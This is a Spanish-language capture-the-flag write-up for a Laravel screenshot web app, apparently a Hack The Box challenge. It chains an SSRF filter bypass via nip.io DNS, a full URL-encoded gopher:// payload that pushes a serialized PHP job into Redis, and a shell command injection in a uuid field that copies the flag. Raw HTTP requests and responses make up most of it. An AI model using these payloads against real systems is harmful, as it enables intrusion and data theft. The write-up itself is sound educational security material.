Challenge Screencrack
Este reto consiste en una aplicación web basada en Laravel que acepta una URL y devuelve una captura de pantalla o el código HTML crudo de dicha URL, y la solución consiste en abusar de una vulnerabilidad SSRF mediante un bypass de rebote DNS, utilizar el protocolo Gopher para inyectar datos en la cola de Redis, y desencadenar una inyección de comandos del sistema operativo para copiar la flag a un directorio accesible públicamente.
Análisis de Código
Al examinar el código fuente del reto, se identifica la lógica de validación de URLs dentro del archivo SiteShotController.php. La aplicación intenta prevenir las solicitudes locales verificando si el host es una dirección IP local.
$ cat challenge/app/Http/Controllers/SiteShotController.php
...
private function validateUrl($url) {
$parsedUrl = parse_url($url);
if (!isset($parsedUrl['host'])) {
return false;
}
if ($this->isValidIPv4($parsedUrl['host']) && $this->isLocalIP($parsedUrl['host'])) {
return false;
}
if (!$this->isValidDomain($parsedUrl['host'])) {
return false;
}
return true;
}
...
Esta validación presenta un defecto crucial, ya que solo se activa cuando el host es una dirección IPv4 pura. Un nombre de dominio que resuelva a 127.0.0.1 puede eludir exitosamente esta restricción.
Una inspección adicional de SiteShotService.php confirma que curl se ejecuta sin ningún tipo de restricción en cuanto a protocolos.
$ cat challenge/app/Services/SiteShotService.php
...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
...
file_put_contents($filenameLocal, $response);
...
Al no existir restricciones impuestas por curl, el protocolo Gopher se encuentra disponible para ser explotado.
La revisión de FileQueue.php revela el punto de inyección de comandos. La aplicación ejecuta un comando del sistema para eliminar archivos utilizando un campo uuid que no ha sido sanitizado.
$ cat challenge/app/Message/FileQueue.php
...
public function deleteFile()
{
$filepath = $this->buildFilePath();
system("echo '".$this->uuid."'>>halo");
system("rm ".$filepath);
}
...
Es evidente que ni el uuid ni el filepath resultante pasan por un proceso de limpieza adecuado antes de ser enviados a la función system. La ruta del archivo se construye concatenando una ruta de directorio, el uuid, un punto y una extensión.
$ cat challenge/app/Message/FileQueue.php
...
$filename = $this->uuid.".".$this->ext;
...
$this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]);
Al emplear un servicio como nip.io, el cual resuelve direcciones IP a través de DNS, resulta posible construir una URL que burle los controles. Enviar http://127.0.0.1.nip.io evade con éxito la comprobación de IPv4 en el controlador.
POST /api/get-html HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Content-Type: application/json
Content-Length: 34
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
{"site":"http://127.0.0.1.nip.io"}
El servidor procesa la petición y responde con una ruta de archivo válida, confirmando así la presencia de la vulnerabilidad SSRF.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:25:15 GMT
Server: Apache/2.4.59 (Unix)
X-Powered-By: PHP/8.1.22
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 59
Access-Control-Allow-Origin: *
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 81
{
"status": "success",
"filename": "\/src\/a469a095-492b-4b9d-b95b-552842d0e6e6.txt"
}
El objetivo principal es inyectar un trabajo malicioso en la cola de Redis que, al ser deserializado, ejecute comandos arbitrarios. El payload necesario debe ser un objeto PHP serializado dirigido a la clase rmFile, conteniendo la inyección de comandos del sistema operativo dentro del campo uuid. El comando debe estar diseñado para copiar la flag hacia el directorio /www/public/src, el cual es de acceso público. Para entregar este ataque, se elabora una URL con el protocolo Gopher que incluye comandos RESP (REdis Serialization Protocol) codificados en la URL, los cuales enviarán el trabajo a la lista laravel_database_queues:default.
gopher://127.0.0.1.nip.io:6379/_%2A3%0D%0A%245%0D%0ARPUSH%0D%0A%2431%0D%0Alaravel_database_queues%3Adefault%0D%0A%24603%0D%0A%7B%22uuid%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22displayName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22job%22%3A%22Illuminate%5C%5CQueue%5C%5CCallQueuedHandler%40call%22%2C%22maxTries%22%3Anull%2C%22maxExceptions%22%3Anull%2C%22failOnTimeout%22%3Afalse%2C%22backoff%22%3Anull%2C%22timeout%22%3Anull%2C%22retryUntil%22%3Anull%2C%22data%22%3A%7B%22commandName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22command%22%3A%22O%3A15%3A%5C%22App%5C%5CJobs%5C%5CrmFile%5C%22%3A1%3A%7Bs%3A9%3A%5C%22fileQueue%5C%22%3BO%3A21%3A%5C%22App%5C%5CMessage%5C%5CFileQueue%5C%22%3A3%3A%7Bs%3A8%3A%5C%22filePath%5C%22%3Bs%3A56%3A%5C%22%2Fwww%2Fpublic%2Fsrc%2Fx%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B.txt%5C%22%3Bs%3A4%3A%5C%22uuid%5C%22%3Bs%3A36%3A%5C%22x%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B%5C%22%3Bs%3A3%3A%5C%22ext%5C%22%3Bs%3A3%3A%5C%22txt%5C%22%3B%7D%7D%22%7D%2C%22id%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22attempts%22%3A0%7D%0D%0A%2A3%0D%0A%247%0D%0APUBLISH%0D%0A%2438%0D%0Alaravel_database_queues%3Adefault%3Anotify%0D%0A%241%0D%0A1%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A
El envío de este payload al endpoint /api/get-html provoca que curl interactúe directamente de forma interna con la instancia de Redis en el puerto 6379.
POST /api/get-html HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Content-Type: application/json
Content-Length: 1248
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
{"site":"gopher://127.0.0.1.nip.io:6379/_%2A3%0D%0A%245%0D%0ARPUSH%0D%0A%2431%0D%0Alaravel_database_queues%3Adefault%0D%0A%24603%0D%0A%7B%22uuid%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22displayName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22job%22%3A%22Illuminate%5C%5CQueue%5C%5CCallQueuedHandler%40call%22%2C%22maxTries%22%3Anull%2C%22maxExceptions%22%3Anull%2C%22failOnTimeout%22%3Afalse%2C%22backoff%22%3Anull%2C%22timeout%22%3Anull%2C%22retryUntil%22%3Anull%2C%22data%22%3A%7B%22commandName%22%3A%22App%5C%5CJobs%5C%5CrmFile%22%2C%22command%22%3A%22O%3A15%3A%5C%22App%5C%5CJobs%5C%5CrmFile%5C%22%3A1%3A%7Bs%3A9%3A%5C%22fileQueue%5C%22%3BO%3A21%3A%5C%22App%5C%5CMessage%5C%5CFileQueue%5C%22%3A3%3A%7Bs%3A8%3A%5C%22filePath%5C%22%3Bs%3A56%3A%5C%22%2Fwww%2Fpublic%2Fsrc%2Fx%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B.txt%5C%22%3Bs%3A4%3A%5C%22uuid%5C%22%3Bs%3A36%3A%5C%22x%3Bcp%20%2Fflag%20%2Fwww%2Fpublic%2Fsrc%2Fflag.txt%3B%5C%22%3Bs%3A3%3A%5C%22ext%5C%22%3Bs%3A3%3A%5C%22txt%5C%22%3B%7D%7D%22%7D%2C%22id%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22attempts%22%3A0%7D%0D%0A%2A3%0D%0A%247%0D%0APUBLISH%0D%0A%2438%0D%0Alaravel_database_queues%3Adefault%3Anotify%0D%0A%241%0D%0A1%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A"}
La aplicación responde brindando un nombre de archivo, el cual contiene la salida generada por el servicio de Redis.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:25:54 GMT
Server: Apache/2.4.59 (Unix)
X-Powered-By: PHP/8.1.22
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 58
Access-Control-Allow-Origin: *
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 81
{
"status": "success",
"filename": "\/src\/f6832611-e4f6-47da-8c1b-0e008cf77f68.txt"
}
La obtención de dicho archivo permite verificar que los comandos se ejecutaron correctamente por parte de Redis.
GET /src/f6832611-e4f6-47da-8c1b-0e008cf77f68.txt HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
La respuesta devuelta se corresponde con la finalización exitosa de los comandos RPUSH, PUBLISH y QUIT, indicando que el trabajo malicioso se encuentra encolado y en espera dentro de Redis.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:29:56 GMT
Server: Apache/2.4.59 (Unix)
Last-Modified: Wed, 01 Jul 2026 16:25:54 GMT
ETag: "d-6558f2545b092"
Accept-Ranges: bytes
Content-Length: 13
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
:3
:0
+OK
La aplicación depende de un proceso worker que ejecuta los trabajos periódicamente. Una vez transcurrido el intervalo de espera configurado, el worker consume el payload de la cola y se activa la inyección de comandos en el sistema operativo. Esta operación copia de manera exitosa la flag en el directorio /www/public/src como el archivo flag.txt. Al acceder a este nuevo archivo mediante una petición HTTP, se consigue recuperar la información requerida.
GET /src/flag.txt HTTP/1.1
Host: 154.57.164.74:30159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.74:30159/
Origin: http://154.57.164.74:30159
Sec-GPC: 1
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6IjhTYzM4VmlsVFpJKzJTRC9sNHRkMUE9PSIsInZhbHVlIjoiUy9KajRjUXJySndHVlUwNHB0VUc5bmg2WjlSRkNaaWhsbzY5dWo1NVhXdjljUk5xK1YrYmdkdjV1ODlveDNKbGR2ZlpEejRjUlRlTHdRRXY3OHBnazlxU0p1Ri9UYlJvcXUxZTlRa1JVRG41N2pqZi81Q3B2TXlMUDM2Q2FWQlgiLCJtYWMiOiJmNjhhMjNhOWIzNGI5MTRmMWYyNDU3ODE2OTczZTI1NTZlN2Q1NzdjYWEyYmRmZjI3ZWYzZGU0ZGY1YjkwZDI3IiwidGFnIjoiIn0%3D
Priority: u=0
La flag se encuentra alojada en la respuesta del servidor, certificando que el sistema ha sido comprometido en su totalidad.
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 16:33:36 GMT
Server: Apache/2.4.59 (Unix)
Last-Modified: Wed, 01 Jul 2026 16:33:34 GMT
ETag: "1b-6558f40ad1bb3"
Accept-Ranges: bytes
Content-Length: 27
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
HTB{FLAG}